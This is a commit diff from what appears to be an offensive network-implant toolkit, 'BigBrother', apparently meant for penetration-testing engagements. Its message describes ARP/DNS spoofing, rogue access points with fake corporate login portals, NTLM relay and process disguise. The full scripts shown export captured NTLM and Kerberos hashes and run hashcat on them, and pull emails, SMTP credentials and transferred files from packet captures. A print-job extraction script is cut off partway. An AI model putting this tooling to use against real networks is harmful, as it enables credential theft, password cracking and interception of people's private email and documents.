Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
Executable
+248
@@ -0,0 +1,248 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Export and Crack Captured Hashes
|
||||
#
|
||||
# Exports credentials from BigBrother's credential database and Responder
|
||||
# logs into hashcat-ready format. Optionally runs hashcat with common
|
||||
# wordlists and rule sets.
|
||||
#
|
||||
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
|
||||
#
|
||||
# Examples:
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
|
||||
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
|
||||
#
|
||||
# Requires: sqlite3, hashcat (optional)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DATA_DIR="${1:-}"
|
||||
DO_CRACK=false
|
||||
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
|
||||
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
|
||||
|
||||
shift || true
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--crack) DO_CRACK=true ;;
|
||||
--wordlist) WORDLIST="$2"; shift ;;
|
||||
--rules) RULES_FILE="$2"; shift ;;
|
||||
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
if [[ -z "$DATA_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " --crack Run hashcat after export"
|
||||
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
|
||||
echo " --rules <path> Hashcat rules file (default: best64.rule)"
|
||||
echo ""
|
||||
echo "Environment:"
|
||||
echo " HASHCAT_WORDLIST Default wordlist path"
|
||||
echo " HASHCAT_RULES Default rules file path"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
|
||||
echo -e " Data dir: ${DATA_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Export from credential database
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
CRED_DB="$DATA_DIR/databases/credentials.db"
|
||||
TOTAL_HASHES=0
|
||||
|
||||
if [[ -f "$CRED_DB" ]]; then
|
||||
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
|
||||
|
||||
# NTLMv2 hashes (hashcat mode 5600)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " NTLMv2 (5600): ${count}"
|
||||
|
||||
# NTLMv1 hashes (hashcat mode 5500)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " NTLMv1 (5500): ${count}"
|
||||
|
||||
# Kerberos TGS (hashcat mode 13100)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " Kerberos TGS (13100): ${count}"
|
||||
|
||||
# Kerberos AS-REP (hashcat mode 18200)
|
||||
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
|
||||
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||
echo -e " Kerberos AS-REP (18200): ${count}"
|
||||
|
||||
# Cleartext credentials (no cracking needed)
|
||||
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
|
||||
> "$OUTPUT_DIR/cleartext.txt" || true
|
||||
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
|
||||
echo -e " ${GREEN}Cleartext: ${count}${NC}"
|
||||
|
||||
echo ""
|
||||
else
|
||||
echo -e "${YELLOW}[*] No credential database found${NC}"
|
||||
fi
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Export from Responder logs
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
RESPONDER_DIR="$DATA_DIR/responder"
|
||||
if [[ -d "$RESPONDER_DIR" ]]; then
|
||||
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
|
||||
|
||||
# Collect NTLMv2 hashes from Responder log files
|
||||
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
|
||||
done
|
||||
|
||||
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
|
||||
done
|
||||
|
||||
# Deduplicate
|
||||
for f in "$OUTPUT_DIR"/*.txt; do
|
||||
[[ -f "$f" ]] || continue
|
||||
sort -u "$f" -o "$f"
|
||||
done
|
||||
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||
echo -e " NTLMv2 total (deduped): ${count}"
|
||||
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||
echo -e " NTLMv1 total (deduped): ${count}"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Remove empty files
|
||||
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary of unique users
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
|
||||
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
mode=$(basename "$hashfile" | grep -o '[0-9]*')
|
||||
echo -e " ${CYAN}Mode $mode:${NC}"
|
||||
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
|
||||
total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
|
||||
if [[ $total -gt 20 ]]; then
|
||||
echo -e " ... ($total total)"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Crack with hashcat (optional)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if $DO_CRACK; then
|
||||
if ! command -v hashcat &>/dev/null; then
|
||||
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -f "$WORDLIST" ]]; then
|
||||
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -e "${CYAN}[*] Running hashcat...${NC}"
|
||||
echo -e " Wordlist: ${WORDLIST}"
|
||||
echo -e " Rules: ${RULES_FILE}"
|
||||
echo ""
|
||||
|
||||
POTFILE="$OUTPUT_DIR/hashcat.potfile"
|
||||
|
||||
# Crack each hash type
|
||||
for hashfile in "$OUTPUT_DIR"/*.txt; do
|
||||
[[ -f "$hashfile" ]] || continue
|
||||
basename_hash=$(basename "$hashfile")
|
||||
|
||||
# Skip cleartext and already-cracked
|
||||
[[ "$basename_hash" == "cleartext.txt" ]] && continue
|
||||
[[ "$basename_hash" == "cracked_"* ]] && continue
|
||||
|
||||
# Extract hashcat mode from filename
|
||||
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
|
||||
if [[ -z "$mode" ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
count=$(wc -l < "$hashfile")
|
||||
if [[ $count -eq 0 ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
|
||||
|
||||
# Run hashcat — dictionary + rules
|
||||
hashcat -m "$mode" -a 0 \
|
||||
"$hashfile" "$WORDLIST" \
|
||||
-r "$RULES_FILE" \
|
||||
--potfile-path "$POTFILE" \
|
||||
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
|
||||
--outfile-format 2 \
|
||||
-O \
|
||||
2>/dev/null || true
|
||||
|
||||
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
|
||||
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cracking summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${GREEN}[+] Cracking complete${NC}"
|
||||
echo -e " Potfile: $POTFILE"
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Cracked credentials:${NC}"
|
||||
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
|
||||
[[ -f "$cracked" ]] || continue
|
||||
echo -e " ${GREEN}$(basename $cracked):${NC}"
|
||||
head -20 "$cracked" | sed 's/^/ /'
|
||||
done
|
||||
else
|
||||
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
|
||||
echo " Run with --crack to start cracking"
|
||||
echo ""
|
||||
echo " Manual cracking examples:"
|
||||
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
|
||||
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
|
||||
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
|
||||
fi
|
||||
Executable
+188
@@ -0,0 +1,188 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Emails from PCAPs
|
||||
#
|
||||
# Extracts SMTP email messages from network captures. Reconstructs
|
||||
# complete emails including headers, body, and attachments.
|
||||
#
|
||||
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
|
||||
# internal networks, especially between mail servers and printers/scanners.
|
||||
#
|
||||
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Requires: tshark
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v tshark &>/dev/null; then
|
||||
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract SMTP sessions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
EMAIL_COUNT=0
|
||||
ATTACHMENT_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
basename_pcap=$(basename "$pcap")
|
||||
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||
|
||||
# Check for SMTP traffic
|
||||
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
|
||||
if [[ "$has_smtp" -eq 0 ]]; then
|
||||
echo -e " (no SMTP traffic)"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Export IMF (Internet Message Format) objects
|
||||
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$imf_dir"
|
||||
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||
|
||||
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
|
||||
if [[ $imf_count -gt 0 ]]; then
|
||||
echo -e " ${GREEN}Found $imf_count email messages${NC}"
|
||||
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
|
||||
fi
|
||||
|
||||
# Extract SMTP streams for raw analysis
|
||||
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams; do
|
||||
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
|
||||
|
||||
# Follow the TCP stream
|
||||
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||
> "$stream_file" 2>/dev/null || true
|
||||
|
||||
if [[ ! -s "$stream_file" ]]; then
|
||||
rm -f "$stream_file"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract email metadata
|
||||
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
|
||||
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
|
||||
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
|
||||
|
||||
if [[ -n "$from" || -n "$to" ]]; then
|
||||
# Write summary
|
||||
{
|
||||
echo "Stream: $stream_id"
|
||||
echo "From: $from"
|
||||
echo "To: $to"
|
||||
echo "Subject: $subject"
|
||||
echo "File: $stream_file"
|
||||
echo "---"
|
||||
} >> "$OUTPUT_DIR/summary/email_index.txt"
|
||||
fi
|
||||
done
|
||||
|
||||
# Also check port 587 (submission)
|
||||
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
|
||||
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||
|
||||
for stream_id in $streams_587; do
|
||||
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
|
||||
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||
> "$stream_file" 2>/dev/null || true
|
||||
|
||||
[[ -s "$stream_file" ]] || rm -f "$stream_file"
|
||||
done
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Parse extracted emails for attachments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
|
||||
|
||||
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
|
||||
[[ -f "$email_file" ]] || continue
|
||||
|
||||
# Look for MIME boundaries indicating attachments
|
||||
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
|
||||
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
|
||||
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
|
||||
echo -e " Attachment found: ${filename} in $(basename $email_file)"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract SMTP auth credentials
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
|
||||
|
||||
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
|
||||
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
|
||||
[[ -f "$stream_file" ]] || continue
|
||||
|
||||
# Look for AUTH LOGIN or AUTH PLAIN
|
||||
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
|
||||
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
|
||||
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
|
||||
echo "---" >> "$cred_file"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Email extraction complete${NC}"
|
||||
echo -e " Emails found: ${EMAIL_COUNT}"
|
||||
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
|
||||
echo ""
|
||||
|
||||
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
|
||||
echo -e "${CYAN}[*] Email index:${NC}"
|
||||
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
|
||||
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
|
||||
if [[ $total_indexed -gt 5 ]]; then
|
||||
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -f "$cred_file" ]]; then
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
|
||||
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
|
||||
fi
|
||||
Executable
+134
@@ -0,0 +1,134 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Files from PCAPs
|
||||
#
|
||||
# Uses tshark to extract transferred files from PCAP captures.
|
||||
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
|
||||
#
|
||||
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Examples:
|
||||
# ./extract_files.sh ./bb-pull-20240115/pcaps
|
||||
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
|
||||
#
|
||||
# Requires: tshark (Wireshark CLI)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check dependencies
|
||||
if ! command -v tshark &>/dev/null; then
|
||||
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create output structure
|
||||
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract files from each PCAP
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_COUNT=0
|
||||
HTTP_COUNT=0
|
||||
SMB_COUNT=0
|
||||
FTP_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
PCAP_COUNT=$((PCAP_COUNT + 1))
|
||||
basename_pcap=$(basename "$pcap")
|
||||
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
|
||||
|
||||
# HTTP objects (downloads, uploads, pages)
|
||||
echo -e " Extracting HTTP objects..."
|
||||
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$http_dir"
|
||||
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
|
||||
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
|
||||
HTTP_COUNT=$((HTTP_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count HTTP objects${NC}"
|
||||
|
||||
# SMB file transfers
|
||||
echo -e " Extracting SMB objects..."
|
||||
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$smb_dir"
|
||||
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
|
||||
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
|
||||
SMB_COUNT=$((SMB_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count SMB objects${NC}"
|
||||
|
||||
# FTP data streams
|
||||
echo -e " Extracting FTP data..."
|
||||
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$ftp_dir"
|
||||
tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
|
||||
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
|
||||
FTP_COUNT=$((FTP_COUNT + count))
|
||||
echo -e " ${GREEN}Found $count FTP objects${NC}"
|
||||
|
||||
# TFTP transfers
|
||||
echo -e " Extracting TFTP data..."
|
||||
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$tftp_dir"
|
||||
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
|
||||
|
||||
# IMF (email) objects
|
||||
echo -e " Extracting email objects..."
|
||||
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
|
||||
mkdir -p "$imf_dir"
|
||||
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if [[ $PCAP_COUNT -eq 0 ]]; then
|
||||
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
|
||||
|
||||
echo -e "${GREEN}[+] Extraction complete${NC}"
|
||||
echo -e " PCAPs processed: ${PCAP_COUNT}"
|
||||
echo -e " Total files: ${TOTAL}"
|
||||
echo -e " HTTP objects: ${HTTP_COUNT}"
|
||||
echo -e " SMB objects: ${SMB_COUNT}"
|
||||
echo -e " FTP objects: ${FTP_COUNT}"
|
||||
echo ""
|
||||
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
|
||||
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
|
||||
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
|
||||
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
|
||||
Executable
+152
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Extract Print Jobs from PCAPs
|
||||
#
|
||||
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
|
||||
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
|
||||
#
|
||||
# Print traffic is often unencrypted and contains sensitive documents:
|
||||
# HR letters, financial reports, legal docs, network diagrams, etc.
|
||||
#
|
||||
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
|
||||
#
|
||||
# Requires: tshark, ghostscript (gs)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
PCAP_DIR="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
|
||||
|
||||
if [[ -z "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check dependencies
|
||||
for tool in tshark gs; do
|
||||
if ! command -v "$tool" &>/dev/null; then
|
||||
echo -e "${RED}[-] $tool not found${NC}"
|
||||
case "$tool" in
|
||||
tshark) echo " Install with: apt install tshark" ;;
|
||||
gs) echo " Install with: apt install ghostscript" ;;
|
||||
esac
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
|
||||
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Extract print streams from PCAPs
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
JOB_COUNT=0
|
||||
PDF_COUNT=0
|
||||
|
||||
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||
[[ -f "$pcap" ]] || continue
|
||||
basename_pcap=$(basename "$pcap")
|
||||
